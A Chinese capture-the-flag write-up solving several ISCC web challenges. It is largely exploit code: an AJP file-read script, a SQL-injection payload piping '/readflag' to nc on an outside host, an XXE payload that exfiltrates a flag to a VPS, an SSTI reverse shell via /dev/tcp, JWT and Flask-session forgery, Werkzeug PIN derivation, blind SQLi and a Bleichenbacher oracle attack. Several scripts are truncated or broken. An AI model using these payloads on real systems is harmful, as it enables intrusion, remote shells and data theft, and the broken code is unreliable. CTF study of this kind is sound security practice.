ISCC 练武题 web部分wp

本人新手一个,解题过程会有许多的不足,请各位师傅谅解

还没想好名字的塔防游戏

题目是一个游戏,直接查看源代码发现

刚开始我以为将提示翻译过来就行了,正好18个字,结果提交失败。最后还是发现都有大写的,在游戏开头也有

然后数一下发现是18个,提交成功。

代码审计

1. 打开附件

 一个简单的 Flask 应用,用于处理 HTTP 请求,执行诸如扫描文件和生成签名等任务,/geneSign:根据提供的参数生成签名。/De1ta:处理主要的挑战,创建一个Task实例并执行操作。/:提供名为 “code.txt” 的 HTML 文件。

访问geneSign(key+param+action),action=scan,获取到一个签名Hash

访问de1ta,加上cookies和提交的参数,去执行Task类的Exec方法。

Exec方法根据参数生成签名Hash,checkSign验证成功之后读取文件

2. 访问geneSign?param=flag.txtread 获取Hash

3. 修改get,action,cookie参数

得到flag

原神启动

按照正常的方法查看源代码,最后会发现会得到一个错误的flag

可以通过找寻发现漏洞cve-2020-1938使用脚本来解答

#!/usr/bin/env python
#CNVD-2020-10487  Tomcat-Ajp lfi
import struct

# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
    if s is None:
        return struct.pack(">h", -1)
    l = len(s)
    return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
    size = struct.calcsize(fmt)
    buf = stream.read(size)
    return struct.unpack(fmt, buf)
def unpack_string(stream):
    size, = unpack(stream, ">h")
    if size == -1: # null string
        return None
    res, = unpack(stream, "%ds" % size)
    stream.read(1) # \0
    return res
class NotFoundException(Exception):
    pass
class AjpBodyRequest(object):
    # server == web server, container == servlet
    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    MAX_REQUEST_LENGTH = 8186
    def __init__(self, data_stream, data_len, data_direction=None):
        self.data_stream = data_stream
        self.data_len = data_len
        self.data_direction = data_direction
    def serialize(self):
        data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
        if len(data) == 0:
            return struct.pack(">bbH", 0x12, 0x34, 0x00)
        else:
            res = struct.pack(">H", len(data))
            res += data
        if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
            header = struct.pack(">bbH", 0x12, 0x34, len(res))
        else:
            header = struct.pack(">bbH", 0x41, 0x42, len(res))
        return header + res
    def send_and_receive(self, socket, stream):
        while True:
            data = self.serialize()
            socket.send(data)
            r = AjpResponse.receive(stream)
            while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
                r = AjpResponse.receive(stream)

            if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
                break
class AjpForwardRequest(object):
    _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPAT

这题我出不了了

参考原题2017 HITCON SQL So Hard (over-rainbow.cn)

客户端在获取表字段的时候因为转译不完全导致原本应该拼接在代码中的字段名被构造成了恶意代码传入了Function()这个类,这个类类似于PHP中的create_function,因为函数体可控 ,也就造成了命令执行。

单双引号都不能正常使用,我们可以使用es6中的反引号

Function环境下没有require函数, 不能获得child_process模块, 但是可以通过process.mainModule.constructor._load来代替require

一个fieldName只能有64位长度, 所以通过多个fieldName拼接来完成利用

所以写一个脚本得到flag

from random import randint
import requests

# payload = "union"
payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/readflag|nc 10.188.2.20 9999`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '*1024*1024*16)


username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
data = {
            'username': username+payload,
                'password': 'AAAAAA'
                }
print('ok')
r = requests.post('http://10.188.2.20:12345/reg', data=data)
print(r.content.decode('utf-8'))

 一道普通的XSS题目

打开链接,发现啥也没有,根据题目给的

尝试写js脚本,来使用XXE和XSS攻击

xmls = `<?xml version="1.0"?>
<!DOCTYPE a [
   <!ENTITY xxe SYSTEM  "http://101.200.138.180:30280/flag" >]>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
  <xsl:template match="/asdf">
    <HTML>
      <HEAD>
        <TITLE></TITLE>
      </HEAD>
      <BODY>
        <img>
          <xsl:attribute name="src">
            yourvps&xxe;
          </xsl:attribute>
        </img>
      </BODY>
    </HTML>
  </xsl:template>
</xsl:stylesheet>`

xml = `<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="data:text/plain;base64,${btoa(xmls)}"?>
<asdf></asdf>`
xss = encodeURIComponent(xml)
console.log(xss)

得到一个URL地址,且带有XML注入payload:

http://101.200.138.180:30280/adminbot?url=http://101.200.138.180:30280/?payload=%3C%3Fxml%20version%3D%221.0%22%3F%3E%0A%3C%3Fxml-stylesheet%20type%3D%22text%2Fxsl%22%20href%3D%22data%3Atext%2Fplain%3Bbase64%2CPD94bWwgdmVyc2lvbj0iMS4wIj8%2BCjwhRE9DVFlQRSBhIFsKICAgPCFFTlRJVFkgeHhlIFNZU1RFTSAgImh0dHA6Ly8xMDEuMjAwLjEzOC4xODA6MzAyODAvZmxhZyIgPl0%2BCjx4c2w6c3R5bGVzaGVldCB4bWxuczp4c2w9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvWFNML1RyYW5zZm9ybSIgdmVyc2lvbj0iMS4wIj4KICA8eHNsOnRlbXBsYXRlIG1hdGNoPSIvYXNkZiI%2BCiAgICA8SFRNTD4KICAgICAgPEhFQUQ%2BCiAgICAgICAgPFRJVExFPjwvVElUTEU%2BCiAgICAgIDwvSEVBRD4KICAgICAgPEJPRFk%2BCiAgICAgICAgPGltZz4KICAgICAgICAgIDx4c2w6YXR0cmlidXRlIG5hbWU9InNyYyI%2BCiAgICAgICAgICAgIGh0dHA6Ly8xMDUuMjAuMjguMTExOjg4ODgvJnh4ZTsKICAgICAgICAgIDwveHNsOmF0dHJpYnV0ZT4KICAgICAgICA8L2ltZz4KICAgICAgPC9CT0RZPgogICAgPC9IVE1MPgogIDwveHNsOnRlbXBsYXRlPgo8L3hzbDpzdHlsZXNoZWV0Pg%3D%3D%22%3F%3E%0A%3Casdf%3E%3C%2Fasdf%3E

对其进行vps监听

nc -lvp [yourvpsport]


nc -lvnp 8888

浏览器访问得到flag

http://101.200.138.180:30280/adminbot?url=http://101.200.138.180:30280/?payload=xxxxxxxxxxxxxx

回来吧永远滴神

打开网站发现需要查阅资料

填写完成后,进入隐藏关卡

先随意尝试提交一下,什么也没有发现

查看网页源代码后发现了“=”

尝试base解码并将其美化

判断是SSTI,并且存在waf:

SSTI一把梭反弹shell

import functools
import time
import requests
from fenjing import exec_cmd_payload
url = "http://101.200.138.180:16356/evlelLL/646979696775616e"
# session=eyJhbnN3ZXJzX2NvcnJlY3QiOnRydWV9.ZkQrdg.TTUE-T5iRTAmIfSy5szAO9ZMgkA
cookies = {
    'session': 'eyJhbnN3ZXJzX2NvcnJlY3QiOnRydWV9.ZkQrdg.TTUET5iRTAmIfSy5szAO9ZMgkA'
}
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
    'Content-Type': 'application/x-www-form-urlencoded'
}
@functools.lru_cache(1000)
def waf(payload: str): # 如果字符串s可以通过waf则返回True, 否则返回False
    time.sleep(0.02) # 防止请求发送过多
    resp = requests.post(url, headers=headers, cookies=cookies, timeout=10,
data={"iIsGod": payload})
    # print(resp.text)
    return "大胆" not in resp.text
if __name__ == "__main__":
    shell_payload, will_print = exec_cmd_payload(
        waf, 'bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2336 0>&1"'
    )
    if not will_print:
        print("这个payload不会产生回显!")
    print(f"{shell_payload=}")

跑出来payload并发送:

得到flag[2]和[1]源码dump下来,找到flag3的加密逻辑 对其进行解密

rom Crypto.Util.Padding import pad, unpad
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
from Crypto.Random import get_random_bytes
from enum import Enum
class Mode(Enum):
    ECB = 0x01
    CBC = 0x02
    CFB = 0x03

class Cipher:
    def __init__(self, key, iv=None):
        self.BLOCK_SIZE = 64
        self.KEY = [
            b2l(key[i : i + self.BLOCK_SIZE // 16])
            for i in range(0, len(key), self.BLOCK_SIZE // 16)
        ]
        self.DELTA = 0x9E3779B9
        self.IV = iv
        self.ROUNDS = 64
        if self.IV:
            self.mode = Mode.CBC if iv else Mode.ECB
            if len(self.IV) * 8 != self.BLOCK_SIZE:
                self.mode = Mode.CFB
        print(f"Mode: {self.mode}")
    def _xor(self, a, b):
        return b"".join(bytes([_a ^ _b]) for _a, _b in zip(a, b))
    def decrypt_block(self, ct):
        m0 = b2l(ct[:4])
        m1 = b2l(ct[4:])
        msk = (1 << (self.BLOCK_SIZE // 2)) - 1
        s = self.DELTA * self.ROUNDS
        for i in range(self.ROUNDS):
            m1 -= (
                ((m0 << 4) + self.KEY[(self.ROUNDS - 1 - i + 2) %
len(self.KEY)])
                ^ (m0 + s)
                ^ ((m0 >> 5) + self.KEY[(self.ROUNDS - 1 - i + 3) %
len(self.KEY)])
            )
            m1 &= msk
            m0 -= (
                ((m1 << 4) + self.KEY[(self.ROUNDS - 1 - i) %
len(self.KEY)])
                ^ (m1 + s)
                ^ ((m1 >> 5) + self.KEY[(self.ROUNDS - 1 - i + 1) %
len(self.KEY)])
            )
            m0 &= msk
            s -= self.DELTA
        return l2b((m0 << (self.BLOCK_SIZE // 2)) | m1)
    def decrypt(self, ct):
        blocks = [
            ct[i : i + self.BLOCK_SIZE // 8]
            for i in range(0, len(ct), self.BLOCK_SIZE // 8)
        ]
        msg = b""
        if self.mode == Mode.ECB:
            for ct_block in blocks:
                msg += self.decrypt_block(ct_block)
        elif self.mode == Mode.CBC:
            X = self.IV
            for ct_block in blocks:
                decrypted_block = self._xor(X, self.decrypt_block(ct_block))
                msg += decrypted_block
                X = ct_block
        elif self.mode == Mode.CFB:
            X = self.IV
            for ct_block in blocks:
                output = self.encrypt_block(X)
                decrypted_block = self._xor(output, ct_block)
                msg += decrypted_block
                X = ct_block
            return unpad(msg, self.BLOCK_SIZE // 8)
if __name__ == "__main__":
        KEY = bytes.fromhex(
            "3362623866656338306539313238353733373566366338383563666264386133"
    )
    IV = bytes.fromhex("64343537373337663034346462393931")
    cipher = Cipher(KEY, IV)
    ct = bytes.fromhex("1cb8db8cabe8edbbddb211f3da4869cdee3bcfb850bce808")
    print(f"FLAG: {cipher.decrypt(ct)}")
    # FLAG = b'xxxxxxxxxxxxxxxxxxx'
    # ct = cipher.encrypt(FLAG)
    # # KEY: 3362623866656338306539313238353733373566366338383563666264386133
    # print(f'KEY: {{KEY.hex()}}')
    # # IV: 64343537373337663034346462393931
    # print(f'IV: {{IV.hex()}}')
    # # Ciphertext: 1cb8db8cabe8edbbddb211f3da4869cdee3bcfb850bce808
    # print(f'Ciphertext: {{ct.hex()}}')

得到flag3,将其连在一起得到进行解码得到flag

Flask中的pin值计算

第一步照常查看网页源代码

对其进行base64解码

访问/getusername

获得username用户名

得到App.py绝对路径/crawler

使用脚本

import requests

url1='http://101.200.138.180:10006/crawler?answer='
url2='http://101.200.138.180:10006/get_expression'
s = requests.Session()
res=s.get(url2)
math=res.text.split('"')
math1=math[3].replace("\\u00d7",'*').replace('\\u00f7','/')
result1 = eval(math1)
result1=str(result1)
result2=s.get(url1+result1)
print(result2.text)

访问/woddenfish

看源码找到功德加密部分,确定是JWT认证

获取uuidnode_mac

抓包更换jwt,给出提示/machine id

点vip拿到新的jwt

role改为supervip,脚本构造

代码如下:

from json import loads, dumps
from jwcrypto.common import base64url_encode, base64url_decode


def topic(topic):
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    print(parsed_payload)
    parsed_payload["role"] = "vip"
    print(dumps(parsed_payload, separators=(',', ':')))
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    print(fake_payload)
    return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} '

print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTUxNjY2NjYsImlhdCI6MTcxNTE2MzA2NiwianRpIjoiYkZkaE1vdnVQa0c2TGQxQlJQVmRNZyIsIm5iZiI6MTcxNTE2MzA2Niwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.gDSJaemVWbNa2PwN7rHgRth1PkUyVaJ5pvj8dgEJ_lF1I7MLjf70sWHQePhDi3w_iqzBt5LhVlYkSgqT6vBrh9js6SJYPxTFn1lubTTGnqAnw6sViOoPRj9ASEowXCJ7zPH89XszdpGdfoF3iH8se8xzeXUf7qCWrkUsmzuJUtVruNWrFYRqS3rV9-dVnVhm5k7zIOEa4f3tZf0qr7d_W7agCHqJGAmiC2A8pkgRorN_kc4T-NJS_Q_iqBRdZMkX9byskzp2M0cfJdkglzKBU6iFgyU8G4-ji64u1eA2bP-bkTO_3RD5HNOmr-tlgCII0V8apGMeuUn9EnDKcc28WQ'))

显示welcome_to_iscc_club,应该是supervip的key

python脚本如下:

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else:  # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if (secret_key == None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return d

.bp修改svipcookie得到acff8a1c-6825-4b9b-b8e1-8983ce1a8b94,是machine-id

脚本如下:

import hashlib
from itertools import chain
probably_public_bits = [
    'pincalculate',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.11/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '1941888917899902',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'acff8a1c-6825-4b9b-b8e1-8983ce1a8b94'# get_machine_id(), /etc/machine-id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

运行使用pyload: http://101.200.138.180:10006/console?pin=947-885-653

得到flag

与时俱进

看题目给的信息发现涉及的有CVE,根据提示二得到CVE-2022-28346和CVE-2023-50782

查看网页源代码

发现了注释的nick_name字段,提示aggregate

下来进行SQL注入测试,发现该字段会被页面所处理,会影响页面的结果,但是没有回显

打时间盲注并结合题意尝试将django默认使用sqlite作为数据库来进行,验证发现sqlite数据库

使用时间盲注脚本:

import requests
import string
import time

def randomblob(param):

    pass

def time_inject(condition):
    url = "http://101.200.138.180:8003/inquiry/"
    headers = {}
    cookies = {
        "csrftoken": "VIRTUAL_CSRF_TOKEN",
    }
    data = {
        "csrfmiddlewaretoken": "VIRTUAL_CSRF_TOKEN",
        "sel_value": "name",
        "nick_name": f'name",(case when({condition}) then {randomblob(1000000000)} else 0 end),"1',
    }
    while True:
        try:
            start = time.time()
            response = requests.post(url, headers=headers, cookies=cookies, data=data)
            end = time.time()
            time_cost = end - start
            print("time cost: ", time_cost)
            if time_cost > 30:
                return True
            else:
                return False
        except:
            continue


def get_length(var_name):
    for i in range(1, 1000):
        if time_inject(f"length({var_name})={i}"):
            return i


def get_char(var_name, index):
    alphabet = string.ascii_letters + string.digits + "{}/+="
    for c in alphabet:
        if time_inject(f"substr({var_name},{index},1)='{c}'"):
            return c


def get_value(var_name, length):
    global result  # 使用全局变量result来存储结果
    result = ""
    for i in range(1, length + 1):
        char = get_char(var_name, i)
        if char is None:
            result += f"{{{i}}}"
        else:
            result += char
    return result


def get_tables_name():
    payload = "(select group_concat(tbl_name) from sqlite_master where type='table' and tbl_name NOT like 'sqlite_%')"
    length = get_length(payload)
    return get_value(payload, length)


def get_schema(table_name):
    payload = f"(select group_concat(sql) from sqlite_master where type='table' and name='{table_name}')"
    length = get_length(payload)
    return get_value(payload, length)


def get_data(table_name, column_name):
    payload = f"(select group_concat({column_name}) from {table_name})"
    length = get_length(payload)
    return get_value(payload, length)


def get_flag():
    result = ""
    for i in range(1, 14):
        payload = "(select group_concat(flag) from flag)"
        result += get_char(payload,i)
        time.sleep(60)
    return result
print(get_flag())

得到url{i722vrr0}访问该地址/i722vrr0,下载到了一 份源码:

根目录下发现有公钥、密文文件、查看看见cryptography==3.3.0

发现finally/views 和 finally/functions 存在加密解密逻辑,但是缺少私钥无法进行解密,思索好久觉得私钥在服务器上

根据CVE-2023-50782漏洞纰漏的信息显示的是Bleichenbacher timing oracle attack查阅资料

使用这个可用的脚本,依据本题对脚本进行修改,得到flag

import cryptography.hazmat.primitives.asymmetric.rsa as rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import serialization
import binascii
import math
import textwrap
from Crypto.Util.number import *
import requests


def load_private_key_from_pem(file_path):
    with open(file_path, 'rb') as f:
        private_key = serialization.load_pem_private_key(
            f.read(), password=None,
            backend=default_backend()
        )
    return private_key


def load_public_key_from_pem(file_path):
    with open(file_path, 'rb') as f:
        public_key = serialization.load_pem_public_key(
            f.read(),
            backend=default_backend()
        )
    return public_key


def time_attack(ciphertext, threshold=0.4):
    url = "http://101.200.138.180:8003/decode/"
    headers = {}
    cookies = {
        "csrftoken": "VIRTUAL_CSRF_TOKEN",
    }
    data = {
        "csrfmiddlewaretoken": "VIRTUAL_CSRF_TOKEN",
        "ciphertext": ciphertext
    }
    retries = 3
    for i in range(retries):
        try:
            response = requests.post(
                url, headers=headers,
                cookies=cookies, data=data, timeout=threshold
            )
            if response.status_code != 200:
                print("status_code:", response.status_code)
                continue
            print("response:", response.text)
            return True
        except requests.exceptions.Timeout:
            return False


def local_setup():
    'generates a key pair for local testing'
    print('Using local loop back oracle for testing')
    pub_key = load_public_key_from_pem("public_key3.pem")
    pn = pub_key.public_numbers()
    # print(' keysize:{}'.format(priv_key.key_size))
    print(' e: {}'.format(pn.e))
    print('n: {}'.format(pn.n))
    # print(' p:{}'.format(priv_key.private_numbers().p))
    # print(' q:{}'.format(priv_key.private_numbers().q))
    # print(' d:{}'.format(priv_key.private_numbers().d))
    ciphertext = long_to_bytes(int(open("message_bak3.log", "r").read().strip()))
    print(' c:{}'.format(binascii.hexlify(ciphertext)))
    print()

    def oracle(ct):
        c = int.from_bytes(ct, 'big')

        return time_attack(c)
    return ciphertext, oracle, pn.e, pn.n

# these two defs avoid rounding issues with floating point during
# division (especially with large numbers)
def ceildiv(a, b):
    return -(-a // b)
def floordiv(a, b):
    return (a // b)
oracle_ctr = 0
def main():
    print('Bleichenbacher RSA padding algorithm')
    print(' for more info see 1998 paper.')
    print()
    # setup parameters, change local_setup with alternative
    # implementation, such as an oracle that uses a real server
    ct, oracle, e, n = local_setup()
    # byte length of n
    k = int(ceildiv(math.log(n, 2), 8))
    # convert ciphertext from bytes into integer
    c = int.from_bytes(ct, 'big')
    # lift oracle defition to take integers
    def oracle_int(x):
        global oracle_ctr
        oracle_ctr = oracle_ctr + 1
        if oracle_ctr % 100000 == 0:
            print("[{}K tries] ".format(oracle_ctr // 1000), end='',flush=True)
        return oracle(x.to_bytes(k, 'big'))

    # define B as size of ciphertext space
    # as first two bytes are 00 02, use 2^(keysize - 16)
    B = pow(2, 8 * (k - 2))
    # precompute constants
    _2B = 2 * B
    _3B = 3 * B

    def multiply(x, y):
        return (x * pow(y, e, n)) % n

    # should be identity as c is valid cipher text
    c0 = multiply(c, 1)
    assert c0 == c
    i = 1
    M = [(_2B, _3B - 1)]
    s = 1
    # ensure everything is working as expected
    if oracle_int(c0):
        print('Oracle ok, implicit step 1 passed')
    else:
        print('Oracle fail sanity check')
        exit(1)
    while True:
        if i == 1:
            print('start case 2.a: ', end='', flush=True)
            ss = ceildiv(n, _3B)
            while not oracle_int(multiply(c0, ss)):
                ss = ss + 1
            print('done. found s1 in {} iterations: {}'.format(ss - ceildiv(n, _3B), ss))
        else:
            print('start case 2.c: ', end='', flush=True)
            assert len(M) == 1
            a, b = M[0]
            r = ceildiv(2 * (b * s - _2B), n)
            ctr = 0
            while True:
                # note: the floor function below needed +1 added
                # to it, this is not clear from the paper (see
                # equation 2 in paper where \lt is used instead of
                # \lte).
                for ss in range(ceildiv(_2B + r * n,b),floordiv(_3B + r * n, a) + 1):
                    ctr = ctr + 1
                    if oracle_int(multiply(c0, ss)):
                        break
            else:
                r = r + 1
                continue
            break
        print('done. found s{} in {} iterations: {}'.format(i,ctr, ss))
        # step 3, narrowing solutions
        MM = []
        for a, b in M:
            for r in range(ceildiv(a * ss - _3B + 1, n),floordiv(b * ss - _2B, n) + 1):
                m = (
                    max(a, ceildiv(_2B + r * n, ss)),min(b, floordiv(_3B - 1 + r * n, ss))
                )
                if m not in MM:
                    MM.append(m)
                    print('found interval [{},{}]'.format(m[0], m[1]))
            # step 4, compute solutions
            M = MM
            s = ss
            i = i + 1
            if len(M) == 1 and M[0][0] == M[0][1]:
                print()
                print('Completed!')
                print('used the oracle {} times'.format(oracle_ctr))
                # note, no need to find multiplicative inverse of s0 in n
                # as s0 = 1, so M[0][0] is directly the message.
                message = M[0][0].to_bytes(k, 'big')
                print('raw decryption: {}'.format(binascii.hexlify(message).decode('utf-8')))
                if message[0] != 0 or message[1] != 2:
                    return
                message = message[message.index(b'\x00', 1) + 1:]
                print(message)
                print('unpadded message hex: {}'.format(
                    binascii.hexlify(message).decode('utf-8')))
                try:
                    print('unpadded message ascii: {}'.format(
                        message.decode('utf-8')))
                except UnicodeError:
                    pass
                return
        if _name_ == "_main_":
            main

掉进阿帕奇的工资

这个题是非预期解,后来被修复后就使用不了了

随便注册账号,尝试登录,没有发现什么有用的,经过查看发现必须要是manager

在注册的时候,发现职称不能填,使用f12进行查看

发现job被隐藏了,我们可以通过抓包手动添加job=admin

再尝试登录,发现还是不行

这时我们点击信息重置 然后选择密保方式重置

然后登录成功

/gongzi_iscc.php

输入ls和11 发现返回了]B

推测可能是有xor

输入]B 11

发现执行命令

我们通过看dockerfile

secret.host:

    image: nginx

    container_name: secret.host

    volumes:

      - ./:/etc/nginx/conf.d/

猜测flag在 http://secret.host/flag

通过php读文件 (payload需要xor)

php -r "echo file_get_contents('http://secret.host/flag');"

读到flag

  • 8
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值